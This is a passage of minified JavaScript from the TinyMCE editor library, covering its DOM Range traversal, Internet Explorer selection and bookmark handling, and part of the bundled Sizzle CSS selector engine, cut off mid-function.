0;for(n=cmnRoot.firstChild;n;){if(n==childA)return-1;if(n==childB)return 1;n=n.nextSibling}}function _setEndPoint(st,n,o){var ec,sc;for(st?(self[START_CONTAINER]=n,self[START_OFFSET]=o):(self[END_CONTAINER]=n,self[END_OFFSET]=o),ec=self[END_CONTAINER];ec.parentNode;)ec=ec.parentNode;for(sc=self[START_CONTAINER];sc.parentNode;)sc=sc.parentNode;sc==ec?_compareBoundaryPoints(self[START_CONTAINER],self[START_OFFSET],self[END_CONTAINER],self[END_OFFSET])>0&&self.collapse(st):self.collapse(st),self.collapsed=_isCollapsed(),self.commonAncestorContainer=dom.findCommonAncestor(self[START_CONTAINER],self[END_CONTAINER])}function _traverse(how){var c,p,depthDiff,startNode,endNode,sp,ep,endContainerDepth=0,startContainerDepth=0;if(self[START_CONTAINER]==self[END_CONTAINER])return _traverseSameContainer(how);for(c=self[END_CONTAINER],p=c.parentNode;p;c=p,p=p.parentNode){if(p==self[START_CONTAINER])return _traverseCommonStartContainer(c,how);++endContainerDepth}for(c=self[START_CONTAINER],p=c.parentNode;p;c=p,p=p.parentNode){if(p==self[END_CONTAINER])return _traverseCommonEndContainer(c,how);++startContainerDepth}for(depthDiff=startContainerDepth-endContainerDepth,startNode=self[START_CONTAINER];depthDiff>0;)startNode=startNode.parentNode,depthDiff--;for(endNode=self[END_CONTAINER];depthDiff<0;)endNode=endNode.parentNode,depthDiff++;for(sp=startNode.parentNode,ep=endNode.parentNode;sp!=ep;sp=sp.parentNode,ep=ep.parentNode)startNode=sp,endNode=ep;return _traverseCommonAncestors(startNode,endNode,how)}function _traverseSameContainer(how){var frag,s,sub,n,cnt,sibling,xferNode,start,len;if(how!=DELETE&&(frag=createDocumentFragment()),self[START_OFFSET]==self[END_OFFSET])return frag;if(3==self[START_CONTAINER].nodeType){if(s=self[START_CONTAINER].nodeValue,sub=s.substring(self[START_OFFSET],self[END_OFFSET]),how!=CLONE&&(n=self[START_CONTAINER],start=self[START_OFFSET],len=self[END_OFFSET]-self[START_OFFSET],0===start&&len>=n.nodeValue.length-1?n.parentNode.removeChild(n):n.deleteData(start,len),self.collapse(TRUE)),how==DELETE)return;return sub.length>0&&frag.appendChild(doc.createTextNode(sub)),frag}for(n=_getSelectedNode(self[START_CONTAINER],self[START_OFFSET]),cnt=self[END_OFFSET]-self[START_OFFSET];n&&cnt>0;)sibling=n.nextSibling,xferNode=_traverseFullySelected(n,how),frag&&frag.appendChild(xferNode),--cnt,n=sibling;return how!=CLONE&&self.collapse(TRUE),frag}function _traverseCommonStartContainer(endAncestor,how){var frag,n,endIdx,cnt,sibling,xferNode;if(how!=DELETE&&(frag=createDocumentFragment()),n=_traverseRightBoundary(endAncestor,how),frag&&frag.appendChild(n),endIdx=nodeIndex(endAncestor),cnt=endIdx-self[START_OFFSET],cnt<=0)return how!=CLONE&&(self.setEndBefore(endAncestor),self.collapse(FALSE)),frag;for(n=endAncestor.previousSibling;cnt>0;)sibling=n.previousSibling,xferNode=_traverseFullySelected(n,how),frag&&frag.insertBefore(xferNode,frag.firstChild),--cnt,n=sibling;return how!=CLONE&&(self.setEndBefore(endAncestor),self.collapse(FALSE)),frag}function _traverseCommonEndContainer(startAncestor,how){var frag,startIdx,n,cnt,sibling,xferNode;for(how!=DELETE&&(frag=createDocumentFragment()),n=_traverseLeftBoundary(startAncestor,how),frag&&frag.appendChild(n),startIdx=nodeIndex(startAncestor),++startIdx,cnt=self[END_OFFSET]-startIdx,n=startAncestor.nextSibling;n&&cnt>0;)sibling=n.nextSibling,xferNode=_traverseFullySelected(n,how),frag&&frag.appendChild(xferNode),--cnt,n=sibling;return how!=CLONE&&(self.setStartAfter(startAncestor),self.collapse(TRUE)),frag}function _traverseCommonAncestors(startAncestor,endAncestor,how){var n,frag,startOffset,endOffset,cnt,sibling,nextSibling;for(how!=DELETE&&(frag=createDocumentFragment()),n=_traverseLeftBoundary(startAncestor,how),frag&&frag.appendChild(n),startOffset=nodeIndex(startAncestor),endOffset=nodeIndex(endAncestor),++startOffset,cnt=endOffset-startOffset,sibling=startAncestor.nextSibling;cnt>0;)nextSibling=sibling.nextSibling,n=_traverseFullySelected(sibling,how),frag&&frag.appendChild(n),sibling=nextSibling,--cnt;return n=_traverseRightBoundary(endAncestor,how),frag&&frag.appendChild(n),how!=CLONE&&(self.setStartAfter(startAncestor),self.collapse(TRUE)),frag}function _traverseRightBoundary(root,how){var parent,clonedParent,prevSibling,clonedChild,clonedGrandParent,next=_getSelectedNode(self[END_CONTAINER],self[END_OFFSET]-1),isFullySelected=next!=self[END_CONTAINER];if(next==root)return _traverseNode(next,isFullySelected,FALSE,how);for(parent=next.parentNode,clonedParent=_traverseNode(parent,FALSE,FALSE,how);parent;){for(;next;)prevSibling=next.previousSibling,clonedChild=_traverseNode(next,isFullySelected,FALSE,how),how!=DELETE&&clonedParent.insertBefore(clonedChild,clonedParent.firstChild),isFullySelected=TRUE,next=prevSibling;if(parent==root)return clonedParent;next=parent.previousSibling,parent=parent.parentNode,clonedGrandParent=_traverseNode(parent,FALSE,FALSE,how),how!=DELETE&&clonedGrandParent.appendChild(clonedParent),clonedParent=clonedGrandParent}}function _traverseLeftBoundary(root,how){var parent,clonedParent,nextSibling,clonedChild,clonedGrandParent,next=_getSelectedNode(self[START_CONTAINER],self[START_OFFSET]),isFullySelected=next!=self[START_CONTAINER];if(next==root)return _traverseNode(next,isFullySelected,TRUE,how);for(parent=next.parentNode,clonedParent=_traverseNode(parent,FALSE,TRUE,how);parent;){for(;next;)nextSibling=next.nextSibling,clonedChild=_traverseNode(next,isFullySelected,TRUE,how),how!=DELETE&&clonedParent.appendChild(clonedChild),isFullySelected=TRUE,next=nextSibling;if(parent==root)return clonedParent;next=parent.nextSibling,parent=parent.parentNode,clonedGrandParent=_traverseNode(parent,FALSE,TRUE,how),how!=DELETE&&clonedGrandParent.appendChild(clonedParent),clonedParent=clonedGrandParent}}function _traverseNode(n,isFullySelected,isLeft,how){var txtValue,newNodeValue,oldNodeValue,offset,newNode;if(isFullySelected)return _traverseFullySelected(n,how);if(3==n.nodeType){if(txtValue=n.nodeValue,isLeft?(offset=self[START_OFFSET],newNodeValue=txtValue.substring(offset),oldNodeValue=txtValue.substring(0,offset)):(offset=self[END_OFFSET],newNodeValue=txtValue.substring(0,offset),oldNodeValue=txtValue.substring(offset)),how!=CLONE&&(n.nodeValue=oldNodeValue),how==DELETE)return;return newNode=dom.clone(n,FALSE),newNode.nodeValue=newNodeValue,newNode}if(how!=DELETE)return dom.clone(n,FALSE)}function _traverseFullySelected(n,how){return how!=DELETE?how==CLONE?dom.clone(n,TRUE):n:void n.parentNode.removeChild(n)}function toStringIE(){return dom.create("body",null,cloneContents()).outerText}var self=this,doc=dom.doc,EXTRACT=0,CLONE=1,DELETE=2,TRUE=!0,FALSE=!1,START_OFFSET="startOffset",START_CONTAINER="startContainer",END_CONTAINER="endContainer",END_OFFSET="endOffset",extend=tinymce.extend,nodeIndex=dom.nodeIndex;return extend(self,{startContainer:doc,startOffset:0,endContainer:doc,endOffset:0,collapsed:TRUE,commonAncestorContainer:doc,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3,setStart:setStart,setEnd:setEnd,setStartBefore:setStartBefore,setStartAfter:setStartAfter,setEndBefore:setEndBefore,setEndAfter:setEndAfter,collapse:collapse,selectNode:selectNode,selectNodeContents:selectNodeContents,compareBoundaryPoints:compareBoundaryPoints,deleteContents:deleteContents,extractContents:extractContents,cloneContents:cloneContents,insertNode:insertNode,surroundContents:surroundContents,cloneRange:cloneRange,toStringIE:toStringIE}),self}ns.Range=Range,Range.prototype.toString=function(){return this.toStringIE()}}(tinymce.dom),function(){function Selection(selection){function getPosition(rng,start){var checkRng,endIndex,inside,children,child,offset,index,parent,startIndex=0,position=-1;if(checkRng=rng.duplicate(),checkRng.collapse(start),parent=checkRng.parentElement(),parent.ownerDocument===selection.dom.doc){for(;"false"===parent.contentEditable;)parent=parent.parentNode;if(!parent.hasChildNodes())return{node:parent,inside:1};for(children=parent.children,endIndex=children.length-1;startIndex<=endIndex;)if(index=Math.floor((startIndex+endIndex)/2),child=children[index],checkRng.moveToElementText(child),position=checkRng.compareEndPoints(start?"StartToStart":"EndToEnd",rng),position>0)endIndex=index-1;else{if(!(position<0))return{node:child};startIndex=index+1}if(position<0)for(child?checkRng.collapse(!1):(checkRng.moveToElementText(parent),checkRng.collapse(!0),child=parent,inside=!0),offset=0;0!==checkRng.compareEndPoints(start?"StartToStart":"StartToEnd",rng)&&0!==checkRng.move("character",1)&&parent==checkRng.parentElement();)offset++;else for(checkRng.collapse(!0),offset=0;0!==checkRng.compareEndPoints(start?"StartToStart":"StartToEnd",rng)&&0!==checkRng.move("character",-1)&&parent==checkRng.parentElement();)offset++;return{node:child,position:position,offset:offset,inside:inside}}}function getRange(){function findEndPoint(start){var container,offset,sibling,undef,nodeValue,endPoint=getPosition(ieRange,start),textNodeOffset=0;if(container=endPoint.node,offset=endPoint.offset,endPoint.inside&&!container.hasChildNodes())return void domRange[start?"setStart":"setEnd"](container,0);if(offset===undef)return void domRange[start?"setStartBefore":"setEndAfter"](container);if(endPoint.position<0){if(sibling=endPoint.inside?container.firstChild:container.nextSibling,!sibling)return void domRange[start?"setStartAfter":"setEndAfter"](container);if(!offset)return void(3==sibling.nodeType?domRange[start?"setStart":"setEnd"](sibling,0):domRange[start?"setStartBefore":"setEndBefore"](sibling));for(;sibling;){if(3==sibling.nodeType&&(nodeValue=sibling.nodeValue,textNodeOffset+=nodeValue.length,textNodeOffset>=offset)){container=sibling,textNodeOffset-=offset,textNodeOffset=nodeValue.length-textNodeOffset;break}sibling=sibling.nextSibling}}else{if(sibling=container.previousSibling,!sibling)return domRange[start?"setStartBefore":"setEndBefore"](container);if(!offset)return void(3==container.nodeType?domRange[start?"setStart":"setEnd"](sibling,container.nodeValue.length):domRange[start?"setStartAfter":"setEndAfter"](sibling));for(;sibling;){if(3==sibling.nodeType&&(textNodeOffset+=sibling.nodeValue.length,textNodeOffset>=offset)){container=sibling,textNodeOffset-=offset;break}sibling=sibling.previousSibling}}domRange[start?"setStart":"setEnd"](container,textNodeOffset)}var element,collapsed,tmpRange,element2,bookmark,ieRange=selection.getRng(),domRange=dom.createRng();if(element=ieRange.item?ieRange.item(0):ieRange.parentElement(),element.ownerDocument!=dom.doc)return domRange;if(collapsed=selection.isCollapsed(),ieRange.item)return domRange.setStart(element.parentNode,dom.nodeIndex(element)),domRange.setEnd(domRange.startContainer,domRange.startOffset+1),domRange;try{findEndPoint(!0),collapsed||findEndPoint()}catch(ex){if(ex.number!=-2147024809)throw ex;bookmark=self.getBookmark(2),tmpRange=ieRange.duplicate(),tmpRange.collapse(!0),element=tmpRange.parentElement(),collapsed||(tmpRange=ieRange.duplicate(),tmpRange.collapse(!1),element2=tmpRange.parentElement(),element2.innerHTML=element2.innerHTML),element.innerHTML=element.innerHTML,self.moveToBookmark(bookmark),ieRange=selection.getRng(),findEndPoint(!0),collapsed||findEndPoint()}return domRange}var self=this,dom=selection.dom,FALSE=!1;this.getBookmark=function(type){function getIndexes(node){var parent,root,children,i,indexes=[];for(parent=node.parentNode,root=dom.getRoot().parentNode;parent!=root&&9!==parent.nodeType;){for(children=parent.children,i=children.length;i--;)if(node===children[i]){indexes.push(i);break}node=parent,parent=parent.parentNode}return indexes}function getBookmarkEndPoint(start){var position;if(position=getPosition(rng,start))return{position:position.position,offset:position.offset,indexes:getIndexes(position.node),inside:position.inside}}var rng=selection.getRng(),bookmark={};return 2===type&&(rng.item?bookmark.start={ctrl:!0,indexes:getIndexes(rng.item(0))}:(bookmark.start=getBookmarkEndPoint(!0),selection.isCollapsed()||(bookmark.end=getBookmarkEndPoint()))),bookmark},this.moveToBookmark=function(bookmark){function resolveIndexes(indexes){var node,i,idx,children;for(node=dom.getRoot(),i=indexes.length-1;i>=0;i--)children=node.children,idx=indexes[i],idx<=children.length-1&&(node=children[idx]);return node}function setBookmarkEndPoint(start){var moveLeft,moveRng,undef,offset,endPoint=bookmark[start?"start":"end"];endPoint&&(moveLeft=endPoint.position>0,moveRng=body.createTextRange(),moveRng.moveToElementText(resolveIndexes(endPoint.indexes)),offset=endPoint.offset,offset!==undef?(moveRng.collapse(endPoint.inside||moveLeft),moveRng.moveStart("character",moveLeft?-offset:offset)):moveRng.collapse(start),rng.setEndPoint(start?"StartToStart":"EndToStart",moveRng),start&&rng.collapse(!0))}var rng,body=dom.doc.body;bookmark.start&&(bookmark.start.ctrl?(rng=body.createControlRange(),rng.addElement(resolveIndexes(bookmark.start.indexes)),rng.select()):(rng=body.createTextRange(),setBookmarkEndPoint(!0),setBookmarkEndPoint(),rng.select()))},this.addRange=function(rng){function setEndPoint(start){var container,offset,marker,tmpRng,nodes;marker=dom.create("a"),container=start?startContainer:endContainer,offset=start?startOffset:endOffset,tmpRng=ieRng.duplicate(),container!=doc&&container!=doc.documentElement||(container=body,offset=0),3==container.nodeType?(container.parentNode.insertBefore(marker,container),tmpRng.moveToElementText(marker),tmpRng.moveStart("character",offset),dom.remove(marker),ieRng.setEndPoint(start?"StartToStart":"EndToEnd",tmpRng)):(nodes=container.childNodes,nodes.length?(offset>=nodes.length?dom.insertAfter(marker,nodes[nodes.length-1]):container.insertBefore(marker,nodes[offset]),tmpRng.moveToElementText(marker)):container.canHaveHTML&&(container.innerHTML="<span>&#xFEFF;</span>",marker=container.firstChild,tmpRng.moveToElementText(marker),tmpRng.collapse(FALSE)),ieRng.setEndPoint(start?"StartToStart":"EndToEnd",tmpRng),dom.remove(marker))}var ieRng,ctrlRng,startContainer,startOffset,endContainer,endOffset,sibling,nativeRng,ctrlElm,doc=selection.dom.doc,body=doc.body;if(startContainer=rng.startContainer,startOffset=rng.startOffset,endContainer=rng.endContainer,endOffset=rng.endOffset,ieRng=body.createTextRange(),startContainer==endContainer&&1==startContainer.nodeType){if(startOffset==endOffset&&!startContainer.hasChildNodes()){if(startContainer.canHaveHTML)return sibling=startContainer.previousSibling,sibling&&!sibling.hasChildNodes()&&dom.isBlock(sibling)?sibling.innerHTML="&#xFEFF;":sibling=null,startContainer.innerHTML="<span>&#xFEFF;</span><span>&#xFEFF;</span>",ieRng.moveToElementText(startContainer.lastChild),ieRng.select(),dom.doc.selection.clear(),startContainer.innerHTML="",void(sibling&&(sibling.innerHTML=""));startOffset=dom.nodeIndex(startContainer),startContainer=startContainer.parentNode}if(startOffset==endOffset-1)try{if(ctrlElm=startContainer.childNodes[startOffset],ctrlRng=body.createControlRange(),ctrlRng.addElement(ctrlElm),ctrlRng.select(),nativeRng=selection.getRng(),nativeRng.item&&ctrlElm===nativeRng.item(0))return}catch(ex){}}setEndPoint(!0),setEndPoint(),ieRng.select()},this.getRangeAt=getRange}tinymce.dom.TridentSelection=Selection}(),function(){function dirNodeCheck(dir,cur,doneName,checkSet,nodeCheck,isXML){for(var i=0,l=checkSet.length;i<l;i++){var elem=checkSet[i];if(elem){var match=!1;for(elem=elem[dir];elem;){if(elem[expando]===doneName){match=checkSet[elem.sizset];break}if(1!==elem.nodeType||isXML||(elem[expando]=doneName,elem.sizset=i),elem.nodeName.toLowerCase()===cur){match=elem;break}elem=elem[dir]}checkSet[i]=match}}}function dirCheck(dir,cur,doneName,checkSet,nodeCheck,isXML){for(var i=0,l=checkSet.length;i<l;i++){var elem=checkSet[i];if(elem){var match=!1;for(elem=elem[dir];elem;){if(elem[expando]===doneName){match=checkSet[elem.sizset];break}if(1===elem.nodeType)if(isXML||(elem[expando]=doneName,elem.sizset=i),"string"!=typeof cur){if(elem===cur){match=!0;break}}else if(Sizzle.filter(cur,[elem]).length>0){match=elem;break}elem=elem[dir]}checkSet[i]=match}}}var chunker=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,expando="sizcache",done=0,toString=Object.prototype.toString,hasDuplicate=!1,baseHasDuplicate=!0,rBackslash=/\\/g,rReturn=/\r\n/g,rNonWord=/\W/;[0,0].sort(function(){return baseHasDuplicate=!1,0});var Sizzle=function(selector,context,results,seed){results=results||[],context=context||document;var origContext=context;if(1!==context.nodeType&&9!==context.nodeType)return[];if(!selector||"string"!=typeof selector)return results;var m,set,checkSet,extra,ret,cur,pop,i,prune=!0,contextXML=Sizzle.isXML(context),parts=[],soFar=selector;do if(chunker.exec(""),m=chunker.exec(soFar),m&&(soFar=m[3],parts.push(m[1]),m[2])){extra=m[3];break}while(m);if(parts.length>1&&origPOS.exec(selector))if(2===parts.length&&Expr.relative[parts[0]])set=posProcess(parts[0]+parts[1],context,seed);else for(set=Expr.relative[parts[0]]?[context]:Sizzle(parts.shift(),context);parts.length;)selector=parts.shift(),Expr.relative[selector]&&(selector+=parts.shift()),set=posProcess(selector,set,seed);else if(!seed&&parts.length>1&&9===context.nodeType&&!contextXML&&Expr.match.ID.test(parts[0])&&!Expr.match.ID.test(parts[parts.length-1])&&(ret=Sizzle.find(parts.shift(),context,contextXML),context=ret.expr?Sizzle.filter(ret.expr,ret.set)[0]:ret.set[0]),context)for(ret=seed?{expr:parts.pop(),set:makeArray(seed)}:Sizzle.find(parts.pop(),1!==parts.length||"~"!==parts[0]&&"+"!==parts[0]||!context.parentNode?context:context.parentNode,contextXML),set=ret.expr?Sizzle.filter(ret.expr,ret.set):ret.set,parts.length>0?checkSet=makeArray(set):prune=!1;parts.length;)cur=parts.pop(),pop=cur,Expr.relative[cur]?pop=parts.pop():cur="",null==pop&&(pop=context),Expr.relative[cur](checkSet,pop,contextXML);else checkSet=parts=[];if(checkSet||(checkSet=set),checkSet||Sizzle.error(cur||selector),"[object Array]"===toString.call(checkSet))if(prune)if(context&&1===context.nodeType)for(i=0;null!=checkSet[i];i++)checkSet[i]&&(checkSet[i]===!0||1===checkSet[i].nodeType&&Sizzle.contains(context,checkSet[i]))&&results.push(set[i]);else for(i=0;null!=checkSet[i];i++)checkSet[i]&&1===checkSet[i].nodeType&&results.push(set[i]);else results.push.apply(results,checkSet);else makeArray(checkSet,results);return extra&&(Sizzle(extra,origContext,results,seed),Sizzle.uniqueSort(results)),results};Sizzle.uniqueSort=function(results){if(sortOrder&&(hasDuplicate=baseHasDuplicate,results.sort(sortOrder),hasDuplicate))for(var i=1;i<results.length;i++)results[i]===results[i-1]&&results.splice(i--,1);return results},Sizzle.matches=function(expr,set){return Sizzle(expr,null,null,set)},Sizzle.matchesSelector=function(node,expr){return Sizzle(expr,null,null,[node]).length>0},Sizzle.find=function(expr,context,isXML){var set,i,len,match,type,left;if(!expr)return[];for(i=0,len=Expr.order.length;i<len;i++)if(type=Expr.order[i],(match=Expr.leftMatch[type].exec(expr))&&(left=match[1],match.splice(1,1),"\\"!==left.substr(left.length-1)&&(match[1]=(match[1]||"").replace(rBackslash,""),set=Expr.find[type](match,context,isXML),null!=set))){expr=expr.replace(Expr.match[type],"");break}return set||(set="undefined"!=typeof context.getElementsByTagName?context.getElementsByTagName("*"):[]),{set:set,expr:expr}},Sizzle.filter=function(expr,set,inplace,not){for(var match,anyFound,type,found,item,filter,left,i,pass,old=expr,result=[],curLoop=set,isXMLFilter=set&&set[0]&&Sizzle.isXML(set[0]);expr&&set.length;){for(type in Expr.filter)if(null!=(match=Expr.leftMatch[type].exec(expr))&&match[2]){if(filter=Expr.filter[type],left=match[1],anyFound=!1,match.splice(1,1),"\\"===left.substr(left.length-1))continue;if(curLoop===result&&(result=[]),Expr.preFilter[type])if(match=Expr.preFilter[type](match,curLoop,inplace,result,not,isXMLFilter)){if(match===!0)continue}else anyFound=found=!0;if(match)for(i=0;null!=(item=curLoop[i]);i++)item&&(found=filter(item,match,i,curLoop),pass=not^found,inplace&&null!=found?pass?anyFound=!0:curLoop[i]=!1:pass&&(result.push(item),anyFound=!0));if(void 0!==found){if(inplace||(curLoop=result),expr=expr.replace(Expr.match[type],""),!anyFound)return[];break}}if(expr===old){if(null!=anyFound)break;Sizzle.error(expr)}old=expr}return curLoop},Sizzle.error=function(msg){throw new Error("Syntax error, unrecognized expression: "+msg)};var getText=Sizzle.getText=function(elem){var i,node,nodeType=elem.nodeType,ret="";if(nodeType){if(1===nodeType||9===nodeType||11===nodeType){if("string"==typeof elem.textContent)return elem.textContent;if("string"==typeof elem.innerText)return elem.innerText.replace(rReturn,"");for(elem=elem.firstChild;elem;elem=elem.nextSibling)ret+=getText(elem)}else if(3===nodeType||4===nodeType)return elem.nodeValue}else for(i=0;node=elem[i];i++)8!==node.nodeType&&(ret+=getText(node));return ret},Expr=Sizzle.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{class:"className",for:"htmlFor"},attrHandle:{href:function(elem){return elem.getAttribute("href")},type:function(elem){return elem.getAttribute("type")}},relative:{"+":function(checkSet,part){var isPartStr="string"==typeof part,isTag=isPartStr&&!rNonWord.test(part),isPartStrNotTag=isPartStr&&!isTag;isTag&&(part=part.toLowerCase());for(var elem,i=0,l=checkSet.length;i<l;i++)if(elem=checkSet[i]){for(;(elem=elem.previousSibling)&&1!==elem.nodeType;);checkSet[i]=isPartStrNotTag||elem&&elem.nodeName.toLowerCase()===part?elem||!1:elem===part}isPartStrNotTag&&Sizzle.filter(part,checkSet,!0)},">":function(checkSet,part){var elem,isPartStr="string"==typeof part,i=0,l=checkSet.length;if(isPartStr&&!rNonWord.test(part)){for(part=part.toLowerCase();i<l;i++)if(elem=checkSet[i]){var parent=elem.parentNode;checkSet[i]=parent.nodeName.toLowerCase()===part&&parent}}else{for(;i<l;i++)elem=checkSet[i],elem&&(checkSet[i]=isPartStr?elem.parentNode:elem.parentNode===part);isPartStr&&Sizzle.filter(part,checkSet,!0)}},"":function(checkSet,part,isXML){var nodeCheck,doneName=done++,checkFn=dirCheck;"string"!=typeof part||rNonWord.test(part)||(part=part.toLowerCase(),nodeCheck=part,checkFn=dirNodeCheck),checkFn("parentNode",part,doneName,checkSet,nodeCheck,isXML)},"~":function(checkSet,part,isXML){var nodeCheck,doneName=done++,checkFn=dirCheck;"string"!=typeof part||rNonWord.test(part)||(part=part.toLowerCase(),nodeCheck=part,checkFn=dirNodeCheck),checkFn("previousSibling",part,doneName,checkSet,nodeCheck,isXML)}},find:{ID:function(match,context,isXML){if("undefined"!=typeof context.getElementById&&!isXML){var m=context.getElementById(match[1]);return m&&m.parentNode?[m]:[]}},NAME:function(match,context){if("undefined"!=typeof context.getElementsByName){for(var ret=[],results=context.getElementsByName(match[1]),i=0,l=results.length;i<l;i++)results[i].getAttribute("name")===match[1]&&ret.push(results[i]);return 0===ret.length?null:ret}},TAG:function(match,context){if("undefined"!=typeof context.getElementsByTagName)return context.getElementsByTagName(match[1])}},preFilter:{CLASS:function(match,curLoop,inplace,result,not,isXML){if(match=" "+match[1].replace(rBackslash,"")+" ",isXML)return match;for(var elem,i=0;null!=(elem=curLoop[i]);i++)elem&&(not^(elem.className&&(" "+elem.className+" ").replace(/[\t\n\r]/g," ").indexOf(match)>=0)?inplace||result.push(elem):inplace&&(curLoop[i]=!1));return!1},ID:function(match){return match[1].replace(rBackslash,"")},TAG:function(match,curLoop){return match[1].replace(rBackslash,"").toLowerCase()},CHILD:function(match){if("nth"===match[1]){match[2]||Sizzle.error(match[0]),match[2]=match[2].replace(/^\+|\s*/g,"");var test=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec("even"===match[2]&&"2n"||"odd"===match[2]&&"2n+1"||!/\D/.test(match[2])&&"0n+"+match[2]||match[2]);match[2]=test[1]+(test[2]||1)-0,match[3]=test[3]-0}else match[2]&&Sizzle.error(match[0]);return match[0]=done++,match},ATTR:function(match,curLoop,inplace,result,not,isXML){var name=match[1]=match[1].replace(rBackslash,"");return!isXML&&Expr.attrMap[name]&&(match[1]=Expr.attrMap[name]),match[4]=(match[4]||match[5]||"").replace(rBackslash,""),"~="===match[2]&&(match[4]=" "+match[4]+" "),match},PSEUDO:function(match,curLoop,inplace,result,not){if("not"===match[1]){if(!((chunker.exec(match[3])||"").length>1||/^\w/.test(match[3]))){var ret=Sizzle.filter(match[3],curLoop,inplace,!0^not);return inplace||result.push.apply(result,ret),!1}match[3]=Sizzle(match[3],null,null,curLoop)}else if(Expr.match.POS.test(match[0])||Expr.match.CHILD.test(match[0]))return!0;return match},POS:function(match){return match.unshift(!0),match}},filters:{enabled:function(elem){return elem.disabled===!1&&"hidden"!==elem.type},disabled:function(elem){return elem.disabled===!0},checked:function(elem){return elem.checked===!0},selected:function(elem){return elem.parentNode&&elem.parentNode.selectedIndex,elem.selected===!0},parent:function(elem){return!!elem.firstChild},empty:function(elem){return!elem.firstChild},has:function(elem,i,match){return!!Sizzle(match[3],elem).length},header:function(elem){return/h\d/i.test(elem.nodeName)},text:function(elem){var attr=elem.getAttribute("type"),type=elem.type;return"input"===elem.nodeName.toLowerCase()&&"text"===type&&(attr===type||null===attr)},radio:function(elem){return"input"===elem.nodeName.toLowerCase()&&"radio"===elem.type},checkbox:function(elem){return"input"===elem.nodeName.toLowerCase()&&"checkbox"===elem.type},file:function(elem){return"input"===elem.nodeName.toLowerCase()&&"file"===elem.type},password:function(elem){return"input"===elem.nodeName.toLowerCase()&&"password"===elem.type},submit:function(elem){var name=elem.nodeName.toLowerCase();return("input"===name||"button"===name)&&"submit"===elem.type},image:function(elem){return"input"===elem.nodeName.toLowerCase()&&"image"===elem.type},reset:function(elem){var name=elem.nodeName.toLowerCase();return("input"===name||"button"===name)&&"reset"===elem.type},button:function(elem){var name=elem.nodeName.toLowerCase();return"input"===name&&"button"===elem.type||"button"===name},input:function(elem){return/input|select|textarea|button/i.test(elem.nodeName)},focus:function(elem){return elem===elem.ownerDocument.activeElement}},setFilters:{first:function(elem,i){return 0===i},last:function(elem,i,match,array){return i===array.length-1},even:function(elem,i){return i%2===0},odd:function(elem,i){return i%2===1},lt:function(elem,i,match){return i<match[3]-0},gt:function(elem,i,match){return i>match[3]-0},nth:function(elem,i,match){return match[3]-0===i},eq:function(elem,i,match){return match[3]-0===i}},filter:{PSEUDO:function(elem,match,i,array){var name=match[1],filter=Expr.filters[name];if(filter)return filter(elem,i,match,array);if("contains"===name)return(elem.textContent||elem.innerText||getText([elem])||"").indexOf(match[3])>=0;if("not"===name){for(var not=match[3],j=0,l=not.length;j<l;j++)if(not[j]===elem)return!1;return!0}Sizzle.error(name)},CHILD:function(elem,match){var first,last,doneName,parent,count,diff,type=match[1],node=elem;switch(type){case"only":case"first":for(;node=node.previousSibling;)if(1===node.nodeType)return!1;if("first"===type)return!0;node=elem;case"last":for(;node=node.nextSibling;)if(1===node.nodeType)return!1;return!0;case"nth":if(first=match[2],last=match[3],1===first&&0===last)return!0;if(doneName=match[0],parent=elem.parentNode,parent&&(parent[expando]!==doneName||!elem.nodeIndex)){for(count=0,node=parent.firstChild;node;node=node.nextSibling)1===node.nodeType&&(node.nodeIndex=++count);parent[expando]=doneName}return diff=elem.nodeIndex-last,0===first?0===diff:diff%first===0&&diff/first>=0}},ID:function(elem,match){return 1===elem.nodeType&&elem.getAttribute("id")===match;
},TAG:function(elem,match){return"*"===match&&1===elem.nodeType||!!elem.nodeName&&elem.nodeName.toLowerCase()===match},CLASS:function(elem,match){return(" "+(elem.className||elem.getAttribute("class"))+" ").indexOf(match)>-1},ATTR:function(elem,match){var name=match[1],result=Sizzle.attr?Sizzle.attr(elem,name):Expr.attrHandle[name]?Expr.attrHandle[name](elem):null!=elem[name]?elem[name]:elem.getAttribute(name),value=result+"",type=match[2],check=match[4];return null==result?"!="===type:!type&&Sizzle.attr?null!=result:"="===type?value===check:"*="===type?value.indexOf(check)>=0:"~="===type?(" "+value+" ").indexOf(check)>=0:check?"!="===type?value!==check:"^="===type?0===value.indexOf(check):"$="===type?value.substr(value.length-check.length)===check:"|="===type&&(value===check||value.substr(0,check.length+1)===check+"-"):value&&result!==!1},POS:function(elem,match,i,array){var name=match[2],filter=Expr.setFilters[name];if(filter)return filter(elem,i,match,array)}}},origPOS=Expr.match.POS,fescape=function(all,num){return"\\"+(num-0+1)};for(var type in Expr.match)Expr.match[type]=new RegExp(Expr.match[type].source+/(?![^\[]*\])(?![^\(]*\))/.source),Expr.leftMatch[type]=new RegExp(/(^(?:.|\r|\n)*?)/.source+Expr.match[type].source.replace(/\\(\d+)/g,fescape));Expr.match.globalPOS=origPOS;var makeArray=function(array,results){return array=Array.prototype.slice.call(array,0),results?(results.push.apply(results,array),results):array};try{Array.prototype.slice.call(document.documentElement.childNodes,0)[0].nodeType}catch(e){makeArray=function(array,results){var i=0,ret=results||[];if("[object Array]"===toString.call(array))Array.prototype.push.apply(ret,array);else if("number"==typeof array.length)for(var 